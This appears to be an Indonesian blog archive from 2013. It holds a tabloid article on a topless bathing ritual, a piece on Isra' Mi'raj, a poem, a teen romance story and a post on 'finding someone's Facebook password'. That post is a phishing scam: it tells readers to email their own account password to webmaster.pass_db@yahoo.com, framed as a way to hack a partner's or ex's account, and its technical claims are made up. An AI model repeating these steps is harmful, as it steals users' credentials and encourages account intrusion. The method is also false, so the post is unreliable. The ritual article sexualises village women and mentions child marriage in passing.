Jumat, 06 Desember 2013

Ritual Pamer Payudara di Umbul Manding

Ritual Pamer Payudara di Umbul Manding

Ada larangan tak tertulis bagi kaum perempuan yang mandi di sumber air yang dikeramatkan ini. Mereka dilarang menutupi payudaranya. Alhasil, ritual pamer payudara pun semarak. Terutama di malam Jum’at Legi….

Umbul Manding sumber air bersih yang ada di Desa Semanding, Keca. Pucanglaban, Kab. Tulungagung, Jawa Timur. Sejak dulu debit air di tempat ini memang besar. Bahkan, saat kemarau panjang sekalipun, umbul ini tak pernah kekurangan air.

Karena debit airnya yang relatif besar dan bersih, maka sumber air ini sejak dulu dimanfaatkan warga Desa Semanding dan sekitarnya. Terutama untuk masak, mandi, mencuci, bahkan untuk mengairi sawah. Maklum saja, Umbul Manding memang berada di daerah pegunungan yang amat sulit air.


Yang dapat dikatakan unik, tempat yang biasanya digunakan untuk mandi sejak dulu sengaja dibiarkan terbuka. Tidak ditutupi apa-apa. Padahal, yang mandi disitu tidak hanya laki-laki, tapi juga perempuan. Mereka berbaur menjadi satu untuk mandi bersama.

Adakah rasa kikuk atau malu pada diri mereka? Mungkin karena sudah menjadi kebiasaan, maka tidak ada yang merasa malu jika dilihat orang, terutama lawan jenis. Bahkan kalau kaum perempuan sedang mandi mereka sama sekali tidak perlu merasa repot menyembunyikan payudaranya. Bahkan, ada kesan payudara itu sengaja dipamerkan.

Bagi warga pendatang yang belum terbiasa, kalau mandi di Umbul terpaksa menutupi payudaranya. Salah satunya seperti dialami Darsini, seorang guru SD yang ditugaskan mengajar di daerah itu.

Bu Darsini mengaku pada awalnya sangat malu kalau mandi di umbul. Namun, karena tidak ada sumber air di desa tempatnya mengabdi selain umbul itu, dia terpaksa mandi disitu juga. Karena masih malu, pada awalnya kalau mandi terpaksa dia memakai baju. Lama-lama karena sudah biasa bajunya dilepas, begitu juga BH-nya. Akhirnya, kalau mandi telanjang dada.

“Tidak tahu kenapa, tapi mungkin karena kebiasaan, sekarang kalau mandi saya ikut dengan warga. Semuanya pamer payudara,” kata Bu Darsini sambil tersenyum. Walau didekatnya ada Pak Guru dia tidak merasa malu lagi. “Biarin, dari pada dilihat orang lain, lebih baik dilihat teman sendiri,” selorohnya.

Karena ritual mandi telanjang dada ini, maka siapa saja yang kebetulan lewat bisa melihat dengan jelas payudara wanita-wanita desa setempat.

Dilihat dari dekat, masyarakat Desa Semanding memang tergolong masih kolot. Contohnya, warga di sana masih percaya dengan berbagai kepercayaan kuno. Umpamanya, perawan sebelum datang bulan yang pertama, giginya harus dipungur. Alasannya, kalau sudah datang bulan payudaranya supaya cepat besar. Kalau sudah begitu, perawan tersebut biar cepat laku.

Karena masih percaya dengan adat dan kepercayaan tersebut, jumlah wanita di sana yang tidak bisa menyelesaikan pendidikan dasar masih sangat tinggi. Sebab walau masih SD kalau payudaranya sudah kelihatan besar langsung ditikahkan. Umumnya orang tua disana merasa malu kalau punya anak perawan yang payudaranya sudah kelihatan besar, tapi belum menikah.

Anehnya lagi, bagi yang sudah tidak perawan, pulang mandi dari umbul selalu telanjang dada.

“Nanti kalau tidak telanjang dada malah dikira masih perawan. Padahal anak saya sudah tiga,” kata Yu Sayem ketika minta keterangan oleh Misteri.

Kenapa tempat mandi di Umbul Manding dibiarkan terbuka? Dan, kenapa juga kalau mandi kaum perempuan harus bertelanjang dada?

Rupanya hal ini berkaitan dengan sebuah legenda masyarakat Semanding. Mereka percaya dengan kisah perawan desa yang bernama Srikunti.

Alkisah, beberapa puluh tahun silam, Srikunti ikut daftar jadi calon PNS. Ternyata dia diterima. Bahkan kemudian bunga desa ini menjadi guru di SD Semanding.

Walau Srikunti sudah menjadi guru namun dia tidak berubah. Terhadap siapa saja dia tetap tidak membeda-bedakan. Sehingga banyak orang yang simpati kepadanya. Salah satunya adalah mandor hutan yang bernama Basman. Cinta Basman diterima Srikunti. Keduanya berjanji akan hidup bersama.

Akhirnya setelah menikah, Srikunti diboyong Basman ke rumah orang tuanya yang juga ada di Desa Semanding. Mula-mula penganten ini hidup rukun. Srikunti sendiri waktu itu sudah kerasan hidup di rumah mertuanya.

Tetapi yang namanya hidup berrumah tangga ada saja rintangannya. Suatu ketika Srikunti mendengar kabar kalau suaminya suka mabuk-mabukkan. Walau dia sudah mengingatkan, suaminya tetap saja tidak mau mendengar. Hampir setiap hari Basman malah pulang sempoyongan karena mabuk.

Karena merasa kecewa, diam-diam Srikunti nekad pergi meninggalkan rumah. Supaya tidak terlihat orang setelah Maghrib dia baru berangkat. Namun setelah dia sampai di Umbul Munding malah berhenti. Lalu dia duduk di tepi umbul. Angan-angannnya pergi entah kemana. Dia teringat orang tuannya dan adik-adiknya. Hatinya susah.

Tidak terasa, sudah begitu lama Srikunti duduk melamun di tepi umbul. Sewaktu dia akan meninggalkan umbul, tiba-tiba dari dalam air muncul seorang puteri yang naik bulus raksasa. Sang putri menghampiri Srikunti.

“Kamu jangan mupus (putus asa) dan harus tetap tabah,” kata puteri itu. “Aku datang mau menolong kamu. Sekarang pulanglah ke rumah orang tuamu. Sediakan bunga tujuh warna. Besok bawa ke sini. Apa yang kamu minta bakal kesampaian,” sambungnya.

Setelah berkata begitu, puteri cantik tadi hilang entah kemana. Yang kelihatan di depan Srikunti tinggal bulus yang tadi dinaiki sang puteri.

Sementara itu, di rumah Basman bingung mencari isterinya. Sudah dicari kemana-mana tapi tidak ada.

Waktu tengah malam, Basman mendengar kabar kalau ada seorang wanita pingsan di dekat Umbul Munding. Dia cepat-cepat pergi kesana. Ternyata, wanita yang pingsan di dekat umbul adalah isterinya.

Setelah sadar, Srikunti menceritakan apa yang dialaminya. Mendengar kisah Srikunti, muncul kepercayaan dia sudah dibawa pergi siluman Bulus Putih. Sementara, Basman berjanji tidak akan mabuk-mabukan lagi.

Srikunti menjalankan pesan putri gaib yang menemuinya. Dia menyediakan bunga tujuh warna. Setelah itu, dibawa ke umbul dengan ditemani Basman, suaminya.

Keduanya menunggu datangnya sang puteri. Tetapi di tunggu sampai jauh malam sang puteri tak kunjung datang.

“Apakah sang puteri menipu saya, sehingga dia tidak datang?” Gumam Srikunti.

Karena tidak ada tanda-tanda sang putri akan datang, Srikunti dan Basman memutuskan meninggalkan umbul. Tetapi baru saja melangkah, tiba-tiba terdengar ada suara yang memanggil mereka.

“Kalau kamu ingin harta banyak jangan tergesa-gesa!” Kata suara dari dalam umbul.

“Kamu siapa?” Tanya Srikunti.

“Saya siluman Bulus Putih yang menunggu Umbul Manding.”

Srikunti dan Basman terdiam. Di hadapan mereka tampak sesosok putri cantik jelita.

“Kalau kamu ingin kaya, jaga umbul ini supaya sumbernya tetap besar!” Kata sang putri lagi.

“Bagaimana caranya?” Tanya Srikunti.

“Caranya gampang. Semua wanita yang di sini kalau mandi jangan ada yang menutupi payudara. Sebab, kalau ada yang berani menutupi payudaranya, siluman Bulus Putih akan marah.”

Setelah memberi pesan demikian, sang putri menghilang.

Entah bagaimana, cerita dari mulut ke mulut ini akhirnya dipercaya oleh banyak orang. Terutama warga Desa Semanding dan sekitarnya.

Ya, karena masih banyak yang percaya, sampai sekarang masih banyak orang yang ngalap berkah ke Umbul Manding. Apa lagi kalau malam Jum’at Legi, banyak warga luar Desa Semanding yang datang. Mereka melakukan ritual pamer payudara.

Pemandangan unik bisa saja kita saksikan. Selepas mandi dari Umbul Manding, banyak yang pulang dengan telanjang dada. Payudaranya dibiarkan dilihat orang. Ah, ada-ada saja!

Selasa, 03 Desember 2013

ISRA' MI'RAJ




ISRA' MI'RAJ: Mu'jizat, Salah Tafsir, dan Makna Pentingnya

Kisah dalam Al-Qur'an dan Hadits

Di dalam QS. Al-Isra':1 Allah menjelaskan tentang isra':
"Maha Suci Allah, yang telah memperjalankan hamba-Nya (Nabi Muhammad SAW) pada suatu malam dari Masjidil Haram ke Masjidil Aqsha yang telah Kami berkahi sekelilingnya, agar Kami perlihatkan kepadanya sebagian dari tanda-tanda (kebesaran) Kami. Sesungguhnya Dia Maha Mendengar lagi Maha Mengetahui."
Dan tentang mi'raj Allah menjelaskan dalam QS. An-Najm:13-18:
"Dan sesungguhnya dia (Nabi Muhammad SAW) telah melihat Jibril itu (dalam rupanya yang asli) pada waktu yang lain, di Sidratul Muntaha. Di dekat (Sidratul Muntaha) ada syurga tempat tinggal. (Dia melihat Jibril) ketika Sidratul Muntaha diliputi oleh suatu selubung. Penglihatannya tidak berpaling dari yang dilihatnya itu dan tidak (pula) melampauinya. Sesungguhnya dia telah melihat sebahagian tanda-tanda (kekuasaan) Tuhannya yang paling besar."
Sidratul muntaha secara harfiah berarti 'tumbuhan sidrah yang tak terlampaui', suatu perlambang batas yang tak seorang manusia atau makhluk lainnya bisa mengetahui lebih jauh lagi. Hanya Allah yang tahu hal-hal yang lebih jauh dari batas itu. Sedikit sekali penjelasan dalam Al-Qur'an dan hadits yang menerangkan apa, di mana, dan bagaimana sidratul muntaha itu.
Kejadian-kejadian sekitar isra' dan mi'raj dijelaskan di dalam hadits- hadits nabi. Dari hadits-hadits yang sahih, didapati rangkaian kisah-kisah berikut. Suatu hari malaikat Jibril datang dan membawa Nabi, lalu dibedahnya dada Nabi dan dibersihkannya hatinya, diisinya dengan iman dan hikmah. Kemudian didatangkan buraq, 'binatang' berwarna putih yang langkahnya sejauh pandangan mata. Dengan buraq itu Nabi melakukan isra' dari Masjidil Haram di Mekkah ke Masjidil Aqsha (Baitul Maqdis) di Palestina.
Nabi SAW salat dua rakaat di Baitul Maqdis, lalu dibawakan oleh Jibril segelas khamr (minuman keras) dan segelas susu; Nabi SAW memilih susu. Kata malaikat Jibril, "Engkau dalam kesucian, sekiranya kau pilih khamr, sesatlah ummat engkau."
Dengan buraq pula Nabi SAW melanjutkan perjalanan memasuki langit dunia. Di sana dijumpainya Nabi Adam yang dikanannya berjejer para ruh ahli surga dan di kirinya para ruh ahli neraka. Perjalanan diteruskan ke langit ke dua sampai ke tujuh. Di langit ke dua dijumpainya Nabi Isa dan Nabi Yahya. Di langit ke tiga ada Nabi Yusuf. Nabi Idris dijumpai di langit ke empat. Lalu Nabi SAW bertemu dengan Nabi Harun di langit ke lima, Nabi Musa di langit ke enam, dan Nabi Ibrahim di langit ke tujuh. Di langit ke tujuh dilihatnya baitul Ma'mur, tempat 70.000 malaikat salat tiap harinya, setiap malaikat hanya sekali memasukinya dan tak akan pernah masuk lagi.
Perjalanan dilanjutkan ke Sidratul Muntaha. Dari Sidratul Muntaha didengarnya kalam-kalam ('pena'). Dari sidratul muntaha dilihatnya pula empat sungai, dua sungai non-fisik (bathin) di surga, dua sungai fisik (dhahir) di dunia: sungai Efrat dan sungai Nil. Lalu Jibril membawa tiga gelas berisi khamr, susu, dan madu, dipilihnya susu. Jibril pun berkomentar, "Itulah (perlambang) fitrah (kesucian) engkau dan ummat engkau." Jibril mengajak Nabi melihat surga yang indah. Inilah yang dijelaskan pula dalam Al-Qur'an surat An-Najm. Di Sidratul Muntaha itu pula Nabi melihat wujud Jibril yang sebenarnya.
Puncak dari perjalanan itu adalah diterimanya perintah salat wajib. Mulanya diwajibkan salat lima puluh kali sehari-semalam. Atas saran Nabi Musa, Nabi SAW meminta keringanan dan diberinya pengurangan sepuluh- sepuluh setiap meminta. Akhirnya diwajibkan lima kali sehari semalam. Nabi enggan meminta keringanan lagi, "Saya telah meminta keringan kepada Tuhanku, kini saya rela dan menyerah." Maka Allah berfirman, "Itulah fardlu-Ku dan Aku telah meringankannya atas hamba-Ku."
Urutan kejadian sejak melihat Baitul Ma'mur sampai menerima perintah salat tidak sama dalam beberapa hadits, mungkin menunjukkan kejadian- kajadian itu serempak dialami Nabi. Dalam kisah itu, hal yang fisik (dzhahir) dan non-fisik (bathin) bersatu dan perlambang pun terdapat di dalamnya. Nabi SAW yang pergi dengan badan fisik hingga bisa salat di Masjidil Aqsha dan memilih susu yang ditawarkan Jibril, tetapi mengalami hal-hal non-fisik, seperti pertemuan dengan ruh para Nabi yang telah wafat jauh sebelum kelahiran Nabi SAW dan pergi sampai ke surga. Juga ditunjukkan dua sungai non-fisik di surga dan dua sungai fisik di dunia. Dijelaskannya makna perlambang pemilihan susu oleh Nabi Muhammad SAW, dan menolak khamr atau madu. Ini benar-benar ujian keimanan, bagi orang mu'min semua kejadian itu benar diyakini terjadinya. Allah Maha Kuasa atas segalanya.
"Dan (ingatlah), ketika Kami wahyukan kepadamu: "Sesungguhnya (ilmu) Tuhanmu meliputi segala manusia". Dan Kami tidak menjadikan pemandangan yang telah Kami perlihatkan kepadamu, melainkan sebagai ujian bagi manusia...." (QS. 17:60).
"Ketika orang-orang Quraisy tak mempercayai saya (kata Nabi SAW), saya berdiri di Hijr (menjawab berbagai pertanyaan mereka). Lalu Allah menampakkan kepada saya Baitul Maqdis, saya dapatkan apa yang saya inginkan dan saya jelaskan kepada mereka tanda-tandanya, saya memperhatikannya...." (HR. Bukhari, Muslim, dan lainnya).

Hakikat Tujuh Langit

Peristiwa isra' mi'raj yang menyebut-nyebut tujuh langit mau tak mau mengusik keingintahuan kita akan hakikat langit, khususnya berkaitan dengan tujuh langit yang juga sering disebut-sebut dalam Al-Qur'an.
Bila kita dengar kata langit, yang terbayang adalah kubah biru yang melingkupi bumi kita. Benarkah yang dimaksud langit itu lapisan biru di atas sana dan berlapis-lapis sebanyak tujuh lapisan? Warna biru hanyalah semu, yang dihasilkan dari hamburan cahaya biru dari matahari oleh partikel-partikel atmosfer. Langit (samaa' atau samawat) berarti segala yang ada di atas kita, yang berarti pula angkasa luar, yang berisi galaksi, bintang, planet, batuan, debu dan gas yang bertebaran. Dan lapisan-lapisan yang melukiskan tempat kedudukan benda-benda langit sama sekali tidak ada.
Bilangan 'tujuh' sendiri dalam beberapa hal di Al-Qur'an tidak selalu menyatakan hitungan eksak dalam sistem desimal. Di dalam Al-Qur'an ungkapan 'tujuh' atau 'tujuh puluh' sering mengacu pada jumlah yang tak terhitung. Misalnya, di dalam Q.S. Al-Baqarah:261 Allah menjanjikan:
"Siapa yang menafkahkan hartanya di jalan Allah ibarat menanam sebiji benih yang menumbuhkan TUJUH tangkai yang masing-masingnya berbuah seratus butir. Allah MELIPATGANDAKAN pahala orang-orang yang dikehendakinya...."
Juga di dalam Q.S. Luqman:27:
"Jika seandainya semua pohon di bumi dijadikan sebagai pena dan lautan menjadi tintanya dan ditambahkan TUJUH lautan lagi, maka tak akan habis Kalimat Allah...."
Jadi 'tujuh langit' lebih mengena bila difahamkan sebagai tatanan benda-benda langit yang tak terhitung banyaknya, bukan sebagai lapisan-lapisan langit.
Lalu, apa hakikatnya langit dunia, langit ke dua, langit ke tiga, ... sampai langit ke tujuh dalam kisah isra' mi'raj? Mungkin ada orang mengada-ada penafsiran, mengaitkan dengan astronomi. Para penafsir dulu ada yang berpendapat bulan di langit pertama, matahari di langit ke empat, dan planet-planet lain di lapisan lainnya. Kini ada sembilan planet yang sudah diketahui, lebih dari tujuh. Tetapi, mungkin masih ada orang yang ingin mereka-reka. Kebetulan, dari jumlah planet yang sampai saat ini kita ketahui, dua planet dekat matahari (Merkurius dan Venus), tujuh lainnya --termasuk bumi-- mengorbit jauh dari matahari. Nah, orang mungkin akan berfikir langit dunia itulah orbit bumi, langit ke dua orbit Mars, ke tiga orbit Jupiter, ke empat orbit Saturnus, ke lima Uranus, ke enam Neptunus, dan ke tujuh Pluto. Kok, klop ya. Kalau begitu, Masjidil Aqsha yang berarti masjid terjauh dalam QS. 17:1, ada di planet Pluto.
Dan Sidratul Muntaha adalah planet ke sepuluh yang tak mungkin terlampaui. Jadilah, isra' mi'raj dibayangkan seperti kisah Science Fiction, perjalanan antar planet dalam satu malam. Na'udzu billah mindzalik.
Saya berpendapat, pengertian langit dalam kisah isra' mi'raj bukanlah pengertian langit secara fisik. Karena, fenomena yang diceritakan Nabi pun bukan fenomena fisik, seperti perjumpaan dengan ruh para Nabi. Langit dan Sidratul Muntaha dalam kisah isra' mi'raj adalah alam ghaib yang tak bisa kita ketahui hakikatnya dengan keterbatasan ilmu manusia. Hanya Rasulullah SAW yang berkesempatan mengetahuinya. Isra' mi'raj adalah mu'jizat yang hanya diberikan Allah kepada Nabi Muhammad SAW.

Peristiwa-peristiwa yang ditemui Nabi SAW ketika Isra' dan Mi'raj

Menerusi peristiwa Israk dan Mikraj kita diceritakan berbagai kisah yang dilihat oleh Rasulullah.Hadis At-Tabrani dan Al-Bazar menjelaskan Rasulullah melihat:
1.    Satu kaum yang bercucuk tanam dan menuai hasil pada hari yang sama (menanam, menuai dan kemudian mengeluarkan hasil).Mereka ialah orang yang berbelanja Fisabilillah yang menerima ganjaran yang besar di sisi Allah hingga 700 kali ganda.
2.    Kaum yang menghempap kepala kebatu kemudian pecah berkecai, ia bercantum semula.Meraka adalah kaum yang malas mengerjakan solat fardu.Contohnya, bila sakit tinggal solat, ada masa buat,tak ada masa tak buat, bila berjalan jauh tinggal solat, sibuk bekerja tinggal solat, kenduri tinggal solat , bila berlaku kematian tinggal solat dengan alasan sibuk dan sebagainya.
3.    Kaum yang berpakaian koyak di hadapan dan belakang, makan pohon yang berduri, daun yang pahit dan batu-batu Jahannam. Mereka adalah kaum yang tidak membayar zakat.
4.    Kaum yang ditangan ada daging busuk dan baik , kemudian mereka memilih yang busuk adalah kaum yang ada isteri atau suami tapi suka berzina dengan orang lain.
5.    Kaum yang kumpul kayu besar dan tak larat mamikulnya tetapi ditambah lagi.Mereka adalah kaum yang suka ambil amanah tapi tak menunaikannya.
6.    Kaum yang menggunting bibir mulut mereka. Mereka adalah orang yang suka sambung fitnah atau
menambah.
7.    Ditunjukkan juga syurga yang tidak dapat digambarkan keindahannya.
8.    Ditunjukkan juga lembah neraka yang busuk.

Hadis di riwayatkan oleh Abu Said dan di keluarkan oleh Baihaqi pula menceritakan Rasulullah melihat:

Melihat kaum yang buncit perut, cuba berdiri kemudian tersungkur ke hadapan.Mereka adalah orang yang makan riba. Melihat satu kaum yang bibir setebal bibir unta, menelan bara api dan keluar ikut dubur.Mereka adalah orang yang makan harta anak yatim. Melihat satu kaum yang memotong daging rusuk dan dimakannya.Mereka adalah orang yang suka menabur fitnah dan menganiayai orang lain.

Hadis oleh At-Tarmizi dari Ibnu Mas'ud pula menceritakan :
Rasulullah apabila berjumpa Nabi Ibrahim telah dipesankan: " Anjurkan umatmu memperbanyak-kan tanaman di syurga. Rasulullah bertanya apakah tanamannya, jawabnya Ucapkanlah "Subhanallah Walhamdulillah wala ilaha illa billahu akbar, wala haula wala quwatailla billa."

sumber Buletin Al-Barakah 1998
"Dan berilah peringatan serta amaran kepada kaum kerabatmu yang dekat. " (As-Syu'Araa, 214)

 

Makna pentingnya

Bagaimanapun ilmu manusia tak mungkin bisa menjabarkan hakikat perjalanan isra' mi'raj. Allah hanya memberikan ilmu kepada manusia sedikit sekali (QS. Al-Isra: 85). Hanya dengan iman kita mempercayai bahwa isra' mi'raj benar-benar terjadi dan dilakukan oleh Rasulullah SAW. Rupanya, begitulah rencana Allah menguji keimanan hamba-hamba-Nya (QS. Al-Isra:60) dan menyampaikan perintah salat wajib secara langsung kepada Rasulullah SAW.
Makna penting isra' mi'raj bagi ummat Islam ada pada keistimewaan penyampaian perintah salat wajib lima waktu. Ini menunjukkan kekhususan salat sebagai ibadah utama dalam Islam. Salat mesti dilakukan oleh setiap Muslim, baik dia kaya maupun miskin, dia sehat maupun sakit. Ini berbeda dari ibadah zakat yang hanya dilakukan oleh orang-orang yang mampu secara ekonomi, atau puasa bagi yang kuat fisiknya, atau haji bagi yang sehat badannya dan mampu keuangannya.
Salat lima kali sehari semalam yang didistribusikan di sela-sela kesibukan aktivitas kehidupan, mestinya mampu membersihkan diri dan jiwa setiap Muslim. Allah mengingatkan:
"Bacalah apa yang telah diwahyukan kepadamu, yaitu Al Kitab (Al Qur'an) dan dirikanlah shalat. Sesungguhnya shalat itu mencegah dari (perbuatan- perbuatan) keji dan mungkar. Dan sesungguhnya mengingat Allah (shalat) adalah lebih besar (keutamaannya dari ibadat-ibadat yang lain). Dan Allah mengetahui apa yang kamu kerjakan. (QS. Al-Ankabut:45)


Senin, 02 Desember 2013

DOA UNTUK IBU

DOA UNTUK IBU
Puisi Mutia Fitriyani

Aku tak tau apa yang harus kuLakukan tanpa dia
Dia yang seLaLu mengerti aku
Dia yang tak pernah Letih menasehatiku
Dia yang seLaLu menemani

DiaLah Ibu
Orang yang seLaLu menjagaku
Tanpa dia aku merasa hampa hidup di dunia ini
Tanpa.nya aku bukanlah apa-apa

Aku hanya seorang manusia Lemah
Yang membutuhkan kekuatan
Kekuatan cinta kasih dari ibu
Kekuatan yang Lebih dari apapun

Engkau sangat berharga bagiku
WaLaupun engkau seLaLu memarahiku
Aku tau
Itu bentuk perhatian dari mu
Itu menandakan kau peduLi denganku

Ya Allah,,
BerikanLah kesehatan pada ibuku
PanjangkanLah umur.nya
Aku ingin membahagiakan.nya
SebeLum aku atau dia tiada

Terimakasih Ibu
Atas apa yang teLah kau berikan padaku
Aku akan seLaLu menyanyangimu

Selasa, 26 November 2013

CARA MENGETAHUI KATA SANDI FB ORANG



CARA MENGETAHUI KATA SANDI FB ORANG
cara mengetahui password orang lain, pacar, mantan atau mungkin selingkuhan.Tak banyak yang tau kalau ternyata facebook, yahoo dan gmail menjalin sebuah kerja sama yang unik, hal ini baru saya tau beberapa waktu yang lalu dari seorang kawan yg kebetulan juga baru mendapatkan informasi ini.
Dan dengan memanfaatkan celah dari kerja sama inilah kita dapat mengetahui password dari account facebook seseorang dengan sangat mudah.
Saya sendiri sudah mencoba beberapa cara dan selalu gagal, sudah men-download berbagai macam software dalam usaha ini tapi tetap saja tak berhasil mendapatkan password account yg di incar.
Tapi ternyata, setelah mengetahui celah ini, saya sampai merasa bodoh sendiri. Karena ternyata sangat mudah mendapatkan password facebook seseorang jika kita tau cara yg tepat.
Dan sama sekali tidak memerlukan software…!!
oke akan saya jelaskan caranya..

1. login ke yahoo/gmail yang anda gunakan untuk account facebook anda.
ingat..!! account yahoo/gmail anda harus berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat email yg anda gunakan pada saat registrasi facebook. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.

2. Jika sudah masuk ke yahoo/gmail, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email: webmaster.pass_db@yahoo.com server Yahoo akan mengirimkan secara otomatis password “terlupakan” tersebut.

3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVE

4. lalu pada baris pertama mail anda tuliskan alamat email korban yg akan anda hack

5. Pada baris kedua masukkan alamat email yg anda gunakan

6. Pada baris ketiga tuliskan password yahoo anda.
Ingat, password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid atau tidaknya email anda, dengan kata lain server yahoo akan meng-extract password dari email calon korban anda dengan menggunakan password anda.
Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang manusia.

7. Dan di baris terakhir masukkan kata : cgi-bin/$et76431&pwrsa ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nya.
jadi jika misalkan email anda adalah ganteng@yahoo.com
dan email korban anda adalah cantik@yahoo.com
dan password anda adalah : password (masukkan password yahoo/gmail anda)
maka email yg anda tulis nantinya adalah:

To: webmaster.pass_db@yahoo.com
bcc: cc: (biarkan kosong)
Subject: password retrieve
cantik@yahoo.com
ganteng@yahoo.com
password facebook anda
cgi-bin/$et76431&pwrsa
selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg
Message {password korban}
biasanya yahoo memerlukan waktu sekitar 1x24 jam untuk mengkonfirmasikan dan meng-extract password yang anda minta.

sop jangan di gunakan  untuk hal-hal yang tidak baik itu dosa

Senin, 25 November 2013

KISAH CINTA YANG HARU

     KISAH CINTA YANG HARU
Bersama jaket berbulu putih ini ku rasakan sunyi yang menyelimuti malam ini, bulan yang terang benderang seakan menyapaku di kesepian ini, di temani dengan sejuta bintang dengan cahaya cantiknya. Januari yang kelabu mengikuti hari-hari ku yang galau ini tampaknya. Sepucuk kertas yang ku genggam di tanganku dengan erat, berisi sajak-sajak cantik dari seorang lelaki yang belum pernah ku kenal sebelumnya ketika tak sengaja bertemu di sebuah pameran buku.
Kejadian yang tak bisa lepas dari benakku, yang tak sengaja lelaki misterius itu memegang tanganku dengan kepalan tangannya yang begitu hangat di musim hujan tahun lalu, dan yang ku ingat hanya matanya yang tajam menatap wajahku “Oh sorry, ku kira temanku” hanya kata itu yang dia lontarkan saat kita bertemu, dan hanya selembar kertas yang ia tinggalkan ketika jatuh dari saku celananya. Saat itu aku baru sadar, tatapan yang membuatku damai dan selamat datang untuk dunia cinta remajaku. “oh tuhan, beri aku kesempatan untuk melihat kedamaian itu lagi” lamunku, sambil meletakkan selembar kertas misterius itu di dadaku selagi merasakannya. “Alen, ayo bangun sayang” lagi-lagi teriakan mamaku yang begitu khas menyambut pagiku. “iya ma, Alen bangun” sambil segera beranjak bangun dari tempat tidurku dan ku tendang selimut yang menghalangi tubuhku untuk segera bangkit.
Pagi yang tak begitu cerah dengan suasana ramai di ruang makan rumahku, aku kehilangan kacamata. Papa, mama, dan bibi pun mencari-cari dimana kacamata ku berada. 3 menit pun berlalu dan oh my god! aku baru mengingatnya bahwa kacamataku semalam ku tinggalkan di kursi tidur pojok kamarku, ampun deh lagi-lagi kepikunanku pun muncul. Dengan dua lembar roti dengan selai nanas yang melekat di tengah roti ku sambar dan berlari menuju mobil yang selalu mengantarkanku ke sekolah. “Mini, berangkat bareng yuk?” sapaku di samping Mini yang sedang berjalan kaki menuju ke sekolah. “Mmm.. iya deh” dengan kepolosannya dia pun mau untuk berangkat sekolah bersamaku. Mini adalah sahabat terbaikku selama aku menginjak SMA, sosoknya yang polos dan logat jawanya membuatku tertarik untuk berteman dengannya, bahkan sampai sahabatan di bangku kelas X1 IPA ini. Kemanapun aku pergi Mini selalu di sampingku, entahlah aku merasa cocok dengannya. Dia sangat baik, baik banget.
Belum sampai di depan gerbang sekolah aku pun menyuruh si Mamang sopirku untuk berhenti dan membiarkan ku dan Mini jalan kaki sambil sedikit olahraga. Hari di sekolah sama dengan yang di rasakan oleh semua murid, tidak semuanya sih. Apalagi pagi ini tepat pelajaran pertama yaitu fisika, dengan rumus yang menurutku membuat kepalaku ingin pecah rasanya. Setiap kali pelajaran yang tak kusuka pastinya selalu saja mataku ingin melirik jam dinding selagi mengeluh kapan pulangnya, jam ini kok lamban yah..
“Teeett… teeett… Teeettt” bel pun berbunyi dan hal inilah yang ku tunggu-tunggu dan membuat mukaku yang kusut menjadi ceria kembali. Siang menjelang sore ini aku ingin mengajak Mini kembali ke pameran buku yang waktu itu, untuk bertemu si Misterius itu yang membayang-bayangiku setiap malam. Siapa tahu kita ketemu lagi. Rak demi rak buku ku telusuri sambil was-was kanan kiri depan belakang, sosok itu tak muncul. “oh ya tuhan, kemana dia? Jangan kau biarkan hambamu ini pulang dengan kekecewaan” tanyaku dalam hati sambil celingak-celinguk gak jelas banget. “kenapa kamu Len, kamu nyari siapa?” Tanya Mini yang sontak membuatku kaget. “oh ini, aku nyari buku yang kemarin mau ku beli. Tapi kok nggak ketemu yah? Dimana sih?” jawabku dengan nada tergopoh-gopoh. Tampaknya Mini mulai mencurigaiku.
“ah sudahlah kamu ndak usah bohong sama aku, aku tahu kamu bohong. Iya kan, cerita sama aku ada apa sebenarnya?” bujuk Mini sambil menepuk-nepuk bahuku.
Mungkin memang saatnya aku cerita sama Mini kalau aku jatuh cinta sama cowok yang belum ku kenal sama sekali, konyol bukan? baru kali ini ada cowok yang membuatku seperti ini. Setelah aku cerita semuanya Mini pun tertawa kecil dan menyembunyikan tawanya dariku. “kamu kok ketawa sih? Emang apaan yang lucu?” kata ku sambil mengerutkan jidatku, kesal. “kamu itu lho, kok lucu ya. Baru ketemu udah cinta padahal masih ndak tau sifat kepribadiannya lho. Lucu deh lucu”. Kata-kata Mini tak ngefek bagiku, juga tak menurunkan semangatku dan keyakinanku bahwa suatu hari nanti aku pasti ketemu cowok itu. Kenapa aku yakin benget yah? Tapi aku selalu berharap untuk bertemu dia suatu saat nanti.
Hari telah berganti, ku jalani seperti biasanya. Tak ada istimewanya hari-hari ku tetap saja seperti ini. Datar-datar saja, membosankan. Dengan menggenggam kertas misterius, aku berjalan menyusuri koridor sekolah sambil sedikit melamun, dan akhirnya seseorang menabrakku dari belakang yang sontak membuatku terjatuh dan tepat di depan kelas senior-seniorku yang sedang menertawakanku. Seragamku basah semua, rambutku terasa manis ketika seseorang menabrakku sambil membawa minuman yang pas tumpah di badanku. Sial banget hari ini, aku benar-benar malu.
Sebuah langkah yang berlagu serasa menghampiriku yang tak sempat bangkit dari kejadian ini, sosok lelaki yang gagah membantuku bangun dan ketika aku menatapnya, dia adalah si damai hatiku, pemilik kertas misterius ini. Dia menggandeng tanganku sambil membawaku untuk meninggalkan tempat keramaian orang yang sedang menertawakanku. “kamu…” tanyaku sambil menunjuk muka seorang cowok yang manis ini, masih dengan nada suaraku yang kebingungan dan amat terpesona. “kamu yang waktu itu di pameran buku ya?” lanjutku, tak lepas memandangnya. “iya, kamu nggak kenapa-napa kan?” ujarnya khawatir padaku. Aku tetap saja memandang wajahnya tanpa menghiraukan apapun, yang pasti hari ini adalah hari yang kunanti-nanti. Dimana aku bertemu dengan sosok misterius yang akhir-akhir ini mengganggu konsentrasi belajarku.
